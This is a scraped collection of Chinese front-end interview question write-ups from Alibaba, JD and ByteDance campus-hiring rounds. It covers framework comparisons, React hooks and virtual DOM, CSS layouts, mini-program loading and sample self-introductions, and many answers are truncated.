5. 技术博客：关注CSS-Tricks、JavaScript.info等博客，了解新技术和最佳实践。

2. 常见的H5标签有哪些，你是怎么用的

题库原题：常见的H5标签有哪些，你是怎么用的

题目要点

常见 H5 标签包括结构语义标签、文本语义标签、表单标签和媒体标签；实际使用中优先考虑语义表达和可访问性，而非样式；充分利用表单和媒体标签的原生能力以减少 JS 复杂度；canvas 与 svg 需根据场景选择；合理使用语义化标签能显著提升页面质量和长期可维护性。

参考答案

在实际工程中，H5 标签并不是“记住有哪些”，而是是否理解它们在语义、结构、可访问性和默认行为上的差异，并能在合适的场景中使用。对标签的理解，直接影响页面结构质量、SEO 以及后续的可维护性。

从结构层面看，最常用的一类是语义化结构标签。例如 header、nav、main、section、article、aside、footer。在页面搭建时，通常会用 header 承载页面或模块级头部信息，用 nav 明确标识导航区域，用 main 作为页面主体的唯一入口，再用 section 或 article 对内容进行分块。这类标签本身不改变样式，但会向浏览器、搜索引擎和辅助技术清晰表达“这块内容的角色是什么”，比单纯使用 div 更具表达力。

阿里-国际电商-校招 · 第 1 轮 · 二面

Fri, 27 Jun 2025 06:02:07 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： 本次面试主要考察校招生的基础内容

本轮共 9 道题。答案默认折叠，便于先自行作答。

1. React/Vue/Angular框架熟悉哪个？对比一下

题目要点

前端框架。

参考答案

我对React和Vue较为熟悉，以下是对这三大框架的对比：

React：
1. 优点：
  1. 组件化：React采用组件化开发，将复杂的用户界面拆分为多个可复用的组件，提高代码的可维护性和复用性。
  2. 虚拟DOM：使用虚拟DOM优化DOM操作，减少页面重绘和回流，提升性能。
  3. 生态丰富：拥有庞大的生态系统，如Redux、React Router等，可满足各种复杂的开发需求。
  4. 社区活跃：社区庞大，更新迅速，遇到问题时容易找到解决方案。
2. 缺点：
  1. 学习曲线：对初学者来说，需要学习JSX语法和组件化的思想，有一定学习成本。
  2. 配置繁琐：项目搭建和配置相对复杂，需要手动配置Webpack等构建工具。
Vue：
1. 优点：
  1. 易上手：语法简洁，文档清晰，容易上手，适合初学者快速入门。
  2. 渐进式框架：可以逐步引入Vue，与现有项目或其他技术结合使用，灵活性高。
  3. 模板语法：使用HTML模板，对熟悉HTML和JavaScript的开发者更友好。
  4. 性能优化：也采用虚拟DOM，性能表现良好。
2. 缺点：
  1. 生态不够丰富：相较于React，生态和社区稍小，插件和库的选择相对有限。
  2. 大型项目支持：在处理大型复杂项目时，可能不如React和Angular成熟。
Angular：
1. 优点：
  1. 全栈解决方案：提供从前端到后端的一整套解决方案，包括路由、状态管理、表单处理等。
  2. 强类型系统：基于TypeScript开发，具有强类型检查，有助于大型项目的代码维护和团队协作。
  3. 依赖注入：内置依赖注入系统，方便管理组件和服务之间的依赖关系。
  4. 适合企业级应用：在开发大型企业级应用时，提供了一套完整的架构和规范。
2. 缺点：
  1. 学习曲线陡峭：对初学者来说，需要掌握TypeScript、依赖注入、模块化等概念，学习成本较高。
  2. 灵活性较低：框架较为庞大，定制化程度不如React和Vue高，不适合小型项目快速开发。
  3. 社区相对较小：相较于React，社区活跃度和更新速度稍逊一筹。

2. React Hooks闭包陷阱的产生原因？

题库原题：说说你对 React Hook的闭包陷阱的理解，有哪些解决方案？

题目要点

React Hook 的闭包陷阱是一个常见的问题,它发生在使用 Hook 时,特别是在处理事件处理函数或异步操作时。

闭包陷阱的本质是,在 Hook 内部定义的函数会捕获 Hook 函数执行时的状态,而不是最新的状态。这可能会导致一些意想不到的行为,比如事件处理函数无法访问最新的状态,或者异步操作使用了过期的数据。

造成这个问题的原因是,React Hook 的设计使得组件函数在每次渲染时都会重新定义内部的函数,而这些函数会关闭当时的状态。

解决这个问题的主要方案有以下几种:

使用 useCallback Hook:

阿里-灵犀互娱-校招 · 第 1 轮 · 一面

Fri, 27 Jun 2025 06:00:30 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 本次面试主要考察校招生的基础内容

本轮共 21 道题。答案默认折叠，便于先自行作答。

1. 先简单自我介绍

题目要点

自我认知。

参考答案

您好，我叫[你的名字]，毕业于[学校名称]的[专业名称]专业。在大学期间，我就对计算机科学产生了浓厚的兴趣，尤其是前端开发领域。在学习和实践中，我积累了扎实的编程基础，熟练掌握了HTML、CSS、JavaScript等前端开发技术，并在多个项目中担任核心开发角色。我热爱前端开发工作，喜欢通过代码创造用户友好的界面和交互体验。在业余时间，我会不断学习新技术，提升自己的专业能力。我希望能够在一个富有创新和挑战的环境中工作，与优秀的团队成员共同成长。

题库原题：什么是微前端？

题目要点

微前端（Micro-Frontends）是一种类似于微服务的架构，它将微服务的理念应用于浏览器端，即将 Web 应用由单一的单体应用转变为多个小型前端应用聚合为一的应用。

参考答案

各个前端应用还可以独立运行、独立开发、独立部署。

微前端不是单纯的前端框架或者工具，而是一套架构体系，

8. SPA和MPA的区别？

题库原题：SPA和MPA的区别？

题目要点

SPA 通过前端路由在单一 HTML 中完成页面切换，交互流畅但首屏和 SEO 成本较高；MPA 每次导航请求新页面，SEO 友好且隔离性强，但交互体验有限；两者本质差异在于前后端渲染与路由职责的划分；现代项目常通过 SSR、SSG 等方式在两种模式之间折中。

阿里-灵犀互娱-校招 · 第 1 轮 · 二面

Fri, 27 Jun 2025 06:00:30 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

参考答案

前端和后端在技术栈、运行环境、关注点等方面有显著区别：

技术栈：
1. 前端：主要使用HTML、CSS、JavaScript及其框架（如Vue、React、Angular）进行开发。例如，使用Vue.js构建用户界面，处理用户交互逻辑。
2. 后端：使用服务器端语言（如Node.js、Java、Python、Ruby）和框架（如Express、Spring Boot、Django、Rails）开发API、处理业务逻辑和与数据库交互。例如，使用Node.js和Express框架搭建RESTful API服务器。
运行环境：
1. 前端：代码运行在客户端浏览器中，与用户直接交互。前端开发者需要考虑不同浏览器的兼容性和用户体验。
2. 后端：代码运行在服务器上，处理请求、管理数据和执行业务逻辑。后端开发者关注服务器性能、安全性和可扩展性。
关注点：
1. 前端：注重用户体验、界面设计、响应式布局和性能优化（如页面加载速度、交互流畅性）。前端开发者需要与设计师紧密合作，实现视觉效果和交互功能。
2. 后端：关注数据存储、业务逻辑实现、API设计和安全性。后端开发者需要与数据库交互，处理并发请求，并确保系统的稳定性和可靠性。
开发工具：
1. 前端：使用VS Code等编辑器，搭配浏览器开发者工具进行调试。依赖构建工具（如Vite、Webpack）进行代码打包和优化。
2. 后端：使用IntelliJ IDEA、PyCharm等IDE，搭配数据库管理工具（如pgAdmin、MySQL Workbench）进行开发。需要配置服务器环境（如Nginx、Apache）和部署工具（如Docker、Kubernetes）。
数据处理：
1. 前端：主要处理数据的展示和用户输入的收集。通过API从后端获取数据，并将其转换为用户界面。
2. 后端：负责数据的存储、查询和业务逻辑处理。与数据库（如MySQL、MongoDB）交互，执行复杂的数据操作和事务管理。
性能优化：
1. 前端：优化页面加载时间、减少重绘和回流、提升交互响应速度。例如，通过懒加载、代码分割、图片优化等技术提高性能。
2. 后端：优化服务器响应时间、数据库查询效率、减少内存泄漏和提升并发处理能力。例如，使用缓存机制（如Redis）、数据库索引优化、连接池管理等技术提高性能。

4. 最近有在看什么技术文章吗

题目要点

学习态度。

参考答案

最近我在阅读关于WebAssembly性能优化的文章，了解如何通过WebAssembly提升前端应用的运行效率。例如，我读了一篇关于使用WebAssembly进行图像处理的文章，介绍了如何将图像处理算法编译为WebAssembly模块，从而在浏览器中实现高性能的图像编辑功能。

同时，我也在关注前端框架的新特性，如Vue 3的Composition API和React的Concurrent Mode。这些新技术有助于构建更高效、响应更快的用户界面。

此外，我还阅读了一些关于前端安全的文章，特别是关于防止XSS攻击和CSRF攻击的最佳实践，这些知识对于构建安全的Web应用至关重要。

通过这些文章，我能够不断更新自己的知识体系，保持对技术前沿的敏感度，并将所学应用到实际项目中。

5. canvas 引擎有什么优化渲染性能的方案

题库原题：canvas 有什么优化渲染性能的方案

阿里-智能产品事业部-暑期实习 · 第 1 轮 · 一面

Fri, 27 Jun 2025 05:57:10 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： 本次面试主要考察校招生的基础内容

本轮共 18 道题。答案默认折叠，便于先自行作答。

1. 请介绍一下你在 [具体项目名称] 中主要做了哪些工作？

题目要点

项目经验。

参考答案

回答参考：

项目架构设计：参与设计项目的整体架构，选择前端技术栈。考虑到项目规模和性能需求，选择了 Vue.js 作为前端框架，Vuex 进行状态管理，Vue Router 实现单页面应用的路由管理，Vite 作为构建工具。这些技术的选择旨在提高开发效率和应用性能。
核心模块开发：负责开发用户认证模块，实现了基于 JWT（JSON Web Token）的登录、注册和权限管理功能。通过与后端 API 的紧密协作，确保了用户数据的安全传输和存储。同时，开发了数据可视化模块，利用 ECharts 库展示复杂的业务数据，帮助用户更直观地理解和分析数据。
性能优化：通过分析页面的性能瓶颈，实施了一系列优化措施。例如，采用代码分割技术将应用拆分成多个小块，实现按需加载；使用懒加载技术延迟加载非首屏资源；对图片资源进行压缩和格式优化，减少页面加载时间。这些优化显著提升了页面的加载速度，改善了用户体验。
代码审查与测试：积极参与代码审查过程，遵循项目编码规范，确保代码质量。编写了大量的单元测试和集成测试用例，使用测试框架（如 Jest）进行自动化测试，确保代码的稳定性和可靠性，减少上线后的潜在问题。

2. 在 [具体项目名称] 中，遇到了哪些技术难点？你是如何解决的？

题目要点

问题解决能力。

参考答案

回答参考：

跨浏览器兼容性：项目需要支持多个主流浏览器，包括一些旧版本的浏览器。为了解决这一问题，使用 Babel 将 ES6+ 代码转译为 ES5，确保大部分现代 JavaScript 特性能够在旧浏览器中运行。同时，引入 Polyfill 库来补充那些浏览器原生不支持的 API，例如 Promise、fetch 等。此外，使用 Autoprefixer 工具为 CSS 添加必要的浏览器前缀，确保 CSS 样式在不同浏览器中的一致性。
性能优化：随着项目规模的扩大，页面的加载时间和交互响应时间面临着挑战。通过分析，发现主要的性能瓶颈在于大量的初始 JavaScript 包和未优化的图片资源。为解决此问题，实施了代码分割策略，将应用的代码分割成多个小块，按需加载，减少了初始加载的包大小。同时，将图片资源转换为 WebP 格式，并实现了图片的懒加载，只有在用户滚动到图片位置时才加载图片，从而显著缩短了页面的初始加载时间。
后端 API 集成：在开发过程中，遇到了 API 响应数据格式不一致的问题，这给前端的数据处理带来了困难。为了解决这个问题，设计了一个统一的数据处理中间层，对后端返回的数据进行预处理和格式化，使其符合前端的要求。同时，与后端团队进行了深入沟通，推动他们优化 API 设计，以更好地满足前端的需求。

阿里-阿里云-暑期实习 · 第 1 轮 · 一面

Fri, 27 Jun 2025 05:49:45 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮概述： 一共三轮面试，经过整理后形成该面经。

架构兼容性：理解 Vite 插件如何复用 Rollup 钩子并扩展开发环境特有的 Server 钩子。
钩子应用场景：能够准确区分 config（配置修改）、resolveId/load（路径解析）、transform（代码改写）的应用边界。
AST 与代码转换：掌握如何通过 AST 操纵实现对代码的无损增强，并维持 SourceMap 的连续性。
环境控制：利用 configureServer 扩展中间件，以及通过 handleHotUpdate 实现精准的热更新控制。
虚拟模块技术：利用虚拟模块机制实现编译时信息的动态注入。

参考答案

Vite 插件的实现本质上是基于 Rollup 插件接口的扩展，并结合了 Vite 特有的开发服务器钩子。可以从插件系统的架构设计、生命周期钩子（Hooks）的执行时序、以及针对开发环境与生产环境的差异化处理三个维度进行回答。

阿里-盒马-校招 · 第 1 轮 · 一面

Fri, 27 Jun 2025 05:48:59 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 聚焦前端基础深度：虚拟DOM性能边界（复杂DOM场景优劣）、响应式布局实现（媒体查询/弹性布局）、浏览器兼容性实战（Polyfill/Babel）、微信小程序架构设计理念。难点在于Rem计算优化策略和O(1)空间复杂度的字符串逆序算法设计。

本轮共 10 道题。答案默认折叠，便于先自行作答。

1. 自我介绍

题目要点

个人背景、技能、经验、职业规划等。

参考答案

参考模版如下，一般3分钟以内即可。
面试官您好！我叫[姓名]，毕业于[毕业院校]，专业是[专业名称]。我有XX段前端开发实习经验，熟练掌握HTML、CSS、JavaScript等前端技术栈，主要的技术栈是React。在XX公司实习期间，主要参与过供应链管理系统和微信小程序开发，学习了前端相关专业技术，以及熟悉了项目的整体流程，同时积累了丰富的项目经验。

2. React 的虚拟 DOM 解决了什么问题？

题库原题：React 的虚拟 DOM 解决了什么问题？

题目要点

跨平台能力：通过对象层的抽象，实现了 UI 描述与具体渲染平台的解耦。
开发范式转换：将命令式的 DOM 操作转变为声明式的数据驱动，提升了复杂业务的可维护性。
性能兜底：通过批处理和 Diff 算法，在不增加开发者负担的情况下，减少了不必要的真实 DOM 操作开销。
研发效率：让开发者专注于业务逻辑而非底层 DOM 树的增删改查，降低了出错概率。

参考答案

在探讨 React 虚拟 DOM（Virtual DOM）所解决的问题时，不能简单地将其归结为“性能更快”，这实际上是一个常见的误区。

从长期的工程实践和框架演进来看，虚拟 DOM 核心解决了以下几个维度的挑战：

1. 解决跨平台与抽象层的问题

虚拟 DOM 最本质的贡献在于建立了一层声明式的抽象。在传统的 Web 开发中，代码直接耦合在真实的 DOM 环境中。而虚拟 DOM 将复杂的 UI 转换成了一种轻量级的 JavaScript 对象结构（即 VNode）。

这种抽象层使得 React 脱离了浏览器的物理限制。因为 VNode 只是普通的 JS 对象，它不仅可以被渲染为浏览器的 DOM，也可以被渲染为移动端的原生控件（React Native）、服务端字符串（SSR）甚至是 Canvas 绘制指令。它解决了 UI 描述与底层渲染引擎之间的强耦合问题，实现了“一次学习，随处编写”的愿景。

阿里-盒马-校招 · 第 1 轮 · 二面

Fri, 27 Jun 2025 05:48:59 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： 深入框架原理与工程化：小程序加载流程（缓存/渲染机制）、Vue路由动态加载（Code Splitting）、全局状态管理（Vuex模块化）、生命周期资源管理（mounted/beforeDestroy）。难点在于手势识别算法（滑动速度计算）和可控动画引擎（开始/暂停/取消）。

本轮共 12 道题。答案默认折叠，便于先自行作答。

1. 小程序的页面加载流程是怎样的？请简要描述从用户点击小程序图标到页面显示的整个过程。

题库原题：小程序的页面加载流程是怎样的？请简要描述从用户点击小程序图标到页面显示的整个过程。

题目要点

双线程并行：启动过程是渲染层（UI）和逻辑层（JS）同步初始化的过程。
离线包机制：通过本地缓存和分包加载策略，极大减少了网络传输对首屏的影响。
预加载优化：微信客户端通过预热环境和提前下载包来压榨启动耗时。
数据驱动渲染：首屏显示依赖于逻辑层到渲染层的初始数据传输（setData 机制的前身）。

参考答案

小程序的加载是一个多线程协作的过程，主要可以分为环境准备、代码下载、注入运行以及首屏渲染四个阶段。

1. 运行环境准备（准备阶段）

当用户点击小程序图标时，微信客户端会立即启动一个原生容器。

进程启动：微信会为小程序分配独立的进程或线程。
双线程环境初始化：微信会同时初始化两个运行环境，即逻辑层（AppService）和渲染层（WebView）。为了提速，微信通常会预先启动一个通用的空白 WebView（预加载机制），从而缩短环境搭建的时间。

2. 代码包下载与加载（资源阶段）

在环境准备的同时，微信会根据小程序的 AppID 去服务端请求最新的代码包。

增量更新与缓存：如果本地已有缓存，则直接校验版本；若无或版本过旧，则下载加密的代码包。
分包加载优化：如果开发者配置了分包，此时只会下载“主包”内容，从而减少首次下载的数据量，提升启动速度。

3. 代码注入与逻辑初始化（初始化阶段）

代码包下载完成后，微信会开始解析并执行代码。

逻辑层注入：执行 app.js 和各页面的 JS 逻辑。此时，小程序会触发 App.onLaunch 和 App.onShow 生命周期回调。
配置解析：解析 app.json 和页面配置，确定全局样式、路由关系及初始页面。

4. 渲染层视图构建与首屏渲染（渲染阶段）

这是用户肉眼感知页面出现的关键时刻。

视图层初始化：渲染层载入 WXML 转换后的模板和 WXSS 样式。
初始数据传输（First Paint）：逻辑层在实例化页面后，会将初始数据（Initial Data）通过微信底层提供的 evaluateJavascript 方式，跨线程传递给渲染层。
动态渲染：渲染层接收到数据后，结合模板生成最终的 DOM 树，并交由浏览器引擎进行绘制。

5. 交互就绪（Finish 阶段）

生命周期触发：页面初次渲染完成后，逻辑层会收到反馈，并触发页面的 onReady 回调。此时，逻辑层与渲染层已经建立了稳定的双向数据绑定，用户可以开始进行交互操作。

2. 小程序页面间有哪些传递数据的方法？

题库原题：小程序页面间有哪些传递数据的方法？

京东-技术中台-校招 · 第 1 轮 · 一面

Fri, 27 Jun 2025 05:48:05 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 本次面试深度考察JavaScript核心原理（闭包、继承实现）、前端框架（Vue响应式机制、虚拟DOM性能、Vue vs React区别）、性能优化（高并发请求处理、HTTP/2应用）、前端安全（XSS/CSRF防御）。难点聚焦于Vue响应式系统限制的解决（如动态字段更新）、复杂布局实现（自适应流式），以及高效算法设计（O(n)去重）。

本轮共 14 道题。答案默认折叠，便于先自行作答。

1. 自我介绍

题目要点

个人背景、能力、经验。

参考答案

我叫[姓名]，毕业于[学校]，专业是[专业]。我有[X]年的前端开发经验，熟练掌握HTML、CSS、JavaScript等前端技术，熟悉Vue.js和React框架。在项目中，我注重代码质量和用户体验，善于解决复杂的技术问题。我曾参与过多个大型项目的开发，例如[项目名称]，负责[具体工作]，通过优化代码结构和性能，提升了页面加载速度和用户体验。

2. 怎么学习javascript的？讲一下闭包，自己的使用场景

题目要点

JavaScript学习方法、闭包概念及应用。

参考答案

学习JavaScript时，我首先从基础语法入手，通过阅读经典书籍如《JavaScript高级程序设计》来系统地学习。闭包是JavaScript中的一个重要概念，它允许函数记住并访问其创建时所在的作用域链中的变量。闭包的使用场景很多，比如在事件处理中，可以使用闭包来保存事件相关的数据。例如，创建一个计数器函数，每次调用时返回当前的计数值，利用闭包可以保持计数器的状态。

3. Javascript如何实现继承？

题库原题：Javascript如何实现继承？

题目要点

1. 原型链继承

通过将一个构造函数的实例作为另一个构造函数的原型，实现属性和方法的继承。

特点

简单易实现。
缺点是父类实例的属性会被所有子类实例共享。

2. 借用构造函数（经典继承）

通过在子类构造函数中调用父类构造函数，实现属性的继承。

特点

避免了原型链继承共享属性的问题。
但无法继承父类的原型方法。

3. 组合继承（原型链+借用构造函数）

结合原型链继承和借用构造函数的方法，既调用父类构造函数，又将父类原型赋值给子类原型。

特点

可以继承实例属性和原型方法。
需要注意避免构造函数属性的多次调用。

4. 原型式继承

使用一个函数来创建一个新对象，并将这个新对象的原型指向另一个对象。

特点

适用于对象之间的属性继承，不涉及构造函数。

5. 寄生式继承

基于原型式继承，但添加了额外的包装函数，以提供更好的控制和灵活性。

特点

通过创建对象的副本来实现继承，避免修改原始对象。

6. ES6 类继承

使用class关键字和extends关键字实现继承。

特点

语法简洁，易于理解。
底层仍然是基于原型链实现。

参考答案

一、是什么

继承（inheritance）是面向对象软件技术当中的一个概念。

如果一个类别B“继承自”另一个类别A，就把这个B称为“A的子类”，而把A称为“B的父类别”也可以称“A是B的超类”

继承的优点

继承可以使得子类具有父类别的各种属性和方法，而不需要再次编写相同的代码

京东-技术中台-校招 · 第 1 轮 · 二面

Fri, 27 Jun 2025 05:48:05 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： 本次面试聚焦CSS布局核心问题（浮动清除、BFC机制）、高频JS手写能力（防抖函数）、工程化实践（TS迁移痛点、Vue3升级策略）、深度性能优化（缓存协同更新、Tree Shaking原理）。难点在于浮动导致的布局塌陷解决方案、CDN与本地缓存协同策略设计，以及复杂框架迁移的兼容性处理。

本轮共 11 道题。答案默认折叠，便于先自行作答。

1. 浮动元素导致的布局错乱应该如何解决？

题目要点

CSS浮动布局及解决方案。

参考答案

浮动元素会导致其父元素高度塌陷，从而影响布局。解决方法有：

1. 清除浮动：在浮动元素后面添加一个空的`div`，设置`clear: both`。
2. 使用伪元素清除浮动：在父元素上使用`::after`伪元素，设置`clear: both`。

.parent::after {
 content: "";
 display: block;
 clear: both;
}

1. 使用`overflow: hidden`：给父元素设置`overflow: hidden`，但可能会隐藏超出部分的内容。
2. 使用`BFC`（块级格式化上下文）：通过设置`display: flow-root`或`overflow: auto`等属性，使父元素形成一个独立的BFC，从而包含浮动元素。

2. 实现一个固定侧边栏+自适应主内容的布局

题目要点

CSS布局技巧。

参考答案

可以使用flexbox布局实现固定侧边栏和自适应主内容的布局：

<div class="container">
 <div class="sidebar">侧边栏</div>
 <div class="main">主内容</div>
</div>

.container {
 display: flex;
}
.sidebar {
 width: 200px; /* 固定宽度 */
 background-color: #f0f0f0;
}
.main {
 flex: 1; /* 自适应宽度 */
 background-color: #ffffff;
}

3. 实现 debounce（防抖）函数

题库原题：实现 debounce（防抖）函数

京东-广告数据-校招 · 第 1 轮 · 一面

Fri, 27 Jun 2025 05:46:50 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

字节-飞书-校招 · 第 1 轮 · 一面

Thu, 26 Jun 2025 08:23:26 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 本次面试主要考察前端基础知识和实际应用能力。

本轮共 20 道题。答案默认折叠，便于先自行作答。

1. 实现一个宽度自适应的搜索框。

题目要点

CSS布局能力： 面试官希望确认候选人对CSS的布局方式（如Flexbox、Grid或传统布局）的掌握程度，以及如何实现元素的响应式和自适应。
响应式设计： 考察候选人是否能考虑不同屏幕尺寸下的用户体验，并运用CSS媒体查询、视口单位等技术实现宽度自适应。
HTML结构： 确认候选人是否能编写语义化且结构清晰的HTML代码。

参考答案

1.1 原理说明

宽度自适应的搜索框是指搜索框的宽度能够根据其父容器的宽度或视口宽度自动调整，以适应不同的屏幕尺寸和设备。实现这种效果通常依赖于CSS的弹性布局（Flexbox）或网格布局（Grid），结合相对单位（如百分比、vw/vh）或弹性单位（如flex属性）。其核心思想是让元素能够"伸缩自如"，而不是固定尺寸。

1.2 核心用法 + 示例代码

以下是使用Flexbox实现宽度自适应搜索框的示例：

<div class="search-container">
 <input type="text" class="search-input" placeholder="请输入搜索内容">
 <button class="search-button">搜索</button>
</div>

.search-container {
 display: flex;
 width: 100%; /* 占据父容器的全部宽度 */
 max-width: 600px; /* 设置最大宽度，防止过宽 */
 margin: 20px auto; /* 居中显示 */
 border: 1px solid #ccc;
 border-radius: 5px;
 overflow: hidden; /* 防止内容溢出 */
}

.search-input {
 flex-grow: 1; /* 占据剩余空间 */
 padding: 10px;
 border: none;
 outline: none; /* 移除聚焦时的边框 */
 font-size: 16px;
}

.search-button {
 padding: 10px 15px;
 background-color: #007bff;
 color: white;
 border: none;
 cursor: pointer;
 font-size: 16px;
}

.search-button:hover {
 background-color: #0056b3;
}

/* 媒体查询，适应小屏幕 */
@media (max-width: 768px) {
 .search-container {
 max-width: 90%;
 }
}

场景说明：

字节-飞书-校招 · 第 1 轮 · 二面

Thu, 26 Jun 2025 08:23:26 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： 本次面试主要考察前端开发者的项目经验、技术深度、问题解决能力以及对未来发展的思考。

本轮共 15 道题。答案默认折叠，便于先自行作答。

1. 了解飞书么，讲一下你的使用感受

题目要点

● 说明该题是主观型问题，不考"唯一标准答案"

● 面试官主要考察答题者对产品的理解、用户体验的洞察以及归纳总结能力

● 答题结构建议：首先简要说明你对飞书的整体印象和使用频率，然后从几个具体的产品功能或使用场景出发，详细阐述你的感受、亮点和可以改进的地方。

参考答案

高质量参考范文：我对飞书这款产品有比较深入的了解，因为我们团队在日常工作中就是飞书的重度用户，几乎所有的协作和沟通都在上面进行。从我的使用感受来看，飞书在一体化协作方面做得非常出色，它不仅仅是一个简单的即时通讯工具，更是一个集成了文档、会议、日程、OKR、邮件等多种功能的综合性协作平台，极大地提升了团队的工作效率。

我感受最深的有以下几点：

首先是文档和表格的强大协作能力。飞书文档支持多人实时协同编辑，光标跟随、评论批注等功能都非常流畅，我们团队经常用它来共同撰写需求文档、项目周报等。表格功能也比传统Excel更灵活，支持多种视图和自动化能力，对于项目管理和数据统计非常方便，我们很多内部管理工作都迁移到了飞书表格上。这种所见即所得、实时同步的体验，比我们之前使用分离的工具效率高出很多。

其次是会议和日历的无缝整合。飞书会议的音视频质量很高，屏幕共享和标注功能也很实用。最棒的是它和日历的深度集成，我们可以在日历中直接创建会议，并关联飞书文档，会议结束后纪要也能快速生成并同步。这种从会议发起、进行到纪要归档的全流程一体化体验，减少了大量来回切换应用的麻烦。

当然，在使用过程中，我也注意到一些可以改进的地方。例如，对于一些复杂的数据可视化需求，飞书表格目前的图表功能可能还不够强大，我们有时需要导出数据到其他专业工具进行处理。另外，在面对外部协作场景时，虽然飞书支持分享外部链接，但在权限控制和安全性方面，如果能提供更多灵活的配置选项，会更便于与外部伙伴高效协同。

总的来说，飞书极大地改变了我们团队的协作模式，提升了整体工作效率。它在集成化、实时协作和移动端体验方面都有着显著优势。我相信随着产品的不断迭代，它在更多细分场景和个性化需求方面会做得更好。

2. 如果飞书的某一个页面崩溃了，你会如何处理？

题目要点

● 说明该题是主观型问题，不考"唯一标准答案"

● 面试官主要考察答题者的故障排查能力、问题分析思路、应急处理流程以及对用户体验的关注

● 答题结构建议：首先表明你会从用户角度出发，然后从前端排查、后端排查、联调分析、解决方案、预防措施等多个维度，阐述你处理问题的完整思路和步骤。

参考答案

高质量参考范文：如果飞书的某个页面崩溃了，我会立即启动一套系统的故障排查和处理流程，目标是尽快定位问题、恢复服务，并最大程度地减少对用户的影响。

我的处理思路和步骤通常如下：

初步判断与用户安抚（P0 紧急）：
- 确认问题范围： 首先，我会尝试复现问题，看是偶发性还是普遍性，是个别用户遇到还是所有用户，是特定浏览器或环境下崩溃，还是全量崩溃。这决定了问题的优先级和后续排查方向。
- 快速截图/录屏： 立即保留现场证据，包括控制台报错、网络请求、崩溃页面截图等，为后续分析提供依据。
- 安抚用户/上报： 如果是线上普遍性问题，会第一时间通过内部渠道（如即时通讯工具）向上级和相关团队（后端、产品、SRE等）同步情况，并考虑是否需要发布公告，引导用户刷新页面或使用其他临时方案，确保用户感受到问题正在被处理。
前端层面排查：
- 控制台日志分析： 检查浏览器开发者工具的Console面板，查看是否有JavaScript错误、警告或网络请求失败的提示。JavaScript报错通常是页面崩溃的直接原因，栈追踪能帮助定位代码位置。
- 网络请求分析： 检查Network面板，看是否有接口请求失败（如4XX、5XX错误），或者请求超时。特别是5XX错误，可能指示后端服务异常导致页面无法获取必要数据而崩溃。
- 内存与CPU占用： 使用Performance和Memory面板，观察页面崩溃前是否有内存飙升或CPU占用过高的情况，这可能指向内存泄漏、死循环或计算密集型操作。
- 代码回溯与版本： 确认当前页面的代码版本，检查近期是否有相关代码上线，是否有回滚的必要。使用Source面板进行断点调试，观察变量值和代码执行流程。
- 本地存储检查： 检查LocalStorage、SessionStorage和IndexedDB，看是否有脏数据或超大存储导致的问题。
后端及服务层面排查（与后端协作）：
- 接口健康状况： 如果前端排查怀疑是后端问题，我会联系后端开发或SRE团队，确认相关API接口的健康状况、服务日志、异常报警信息。
- 数据库或缓存： 后端会进一步排查数据库连接、缓存服务是否正常，是否有慢查询或数据一致性问题。
- 依赖服务： 检查该页面所依赖的微服务或其他第三方服务是否正常运行。
定位与解决方案：
- 锁定问题点： 根据排查结果，确定是前端代码Bug（如空指针、死循环、组件渲染异常）、后端接口问题、网络问题、兼容性问题，还是其他服务故障。
- 制定方案： 如果是前端Bug，立即着手修复，并进行单元测试和集成测试。如果是后端问题，协同后端团队修复。如果是数据问题，考虑数据清洗或兼容处理。
- 紧急发布/回滚： 对于严重影响线上用户的问题，优先考虑紧急发布修复补丁，或者在无法快速修复的情况下，采取回滚到上一个稳定版本的方式。
复盘与预防：

字节-本地生活-校招 · 第 1 轮 · 一面

Tue, 24 Jun 2025 14:45:10 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 本轮面试侧重考察候选人前端基础知识的系统掌握程度，包括 CSS 盒模型、选择器机制、ES6 语法、异步任务队列、响应式原理与网络协议等，同时会通过算法题考查思维能力与编码规范。

重点关注以下几个方面：

CSS布局与样式：考察对盒模型、选择器的深入理解，以及实际应用中的最佳实践
JavaScript核心：重点关注ES6特性、闭包、异步编程等基础概念的掌握程度
框架原理：主要考察Vue3响应式系统的实现原理与优化思路
工程化思维：通过HTTP、缓存、性能优化等问题考察工程实践经验
算法能力：通过字符串处理等典型题目考察基本编程功底

本轮共 17 道题。答案默认折叠，便于先自行作答。

1. 自我介绍

题目要点

这是一道主观性问题，没有标准答案。面试官主要考察：

表达能力：语言组织、逻辑清晰度
职业规划：技术深度、发展方向
项目经验：技术栈匹配度、解决问题能力
个人特质：学习能力、团队协作

参考答案

“您好，我是XXX，有5年前端开发经验。毕业于XXX大学计算机科学专业，目前在一家互联网公司担任高级前端工程师。

我擅长的技术栈是 Vue 和 React 生态，对前端工程化和性能优化有深入研究。最近两年主要负责公司的低代码平台建设，带领团队完成了从0到1的平台搭建。在这个项目中，我们解决了很多技术难题，比如大型JSON-Schema的渲染性能优化、自定义组件的实时预览等。通过这些优化，平台的页面渲染性能提升了60%，现在支持了超过100个业务团队的日常工作。

在技术深度上，我特别关注前端框架底层原理，写过几篇关于Vue3响应式系统的技术文章，并给社区贡献过几个PR。同时我也在公司内部主导了前端性能监控体系的建设，建立了从采集、分析到报警的完整链路。

选择字节跳动是因为被这里浓厚的技术氛围吸引，也认可公司在前端领域的技术实力。我希望能在更大的平台上，和优秀的团队一起解决更有挑战的问题。”

答题建议结构

基本信息与技术栈（15-20秒）
- 教育背景
- 工作年限
- 技术栈概览
核心项目经历（30-40秒）
- 1-2个最有代表性的项目
- 突出个人贡献和技术难点
技术深度展示（20-30秒）
- 专注的技术领域
- 技术产出或开源贡献
职业规划（10-15秒）
- 对岗位的理解
- 个人发展诉求

答题要点提示

时间控制在90秒左右
按照时间重要性安排内容比重
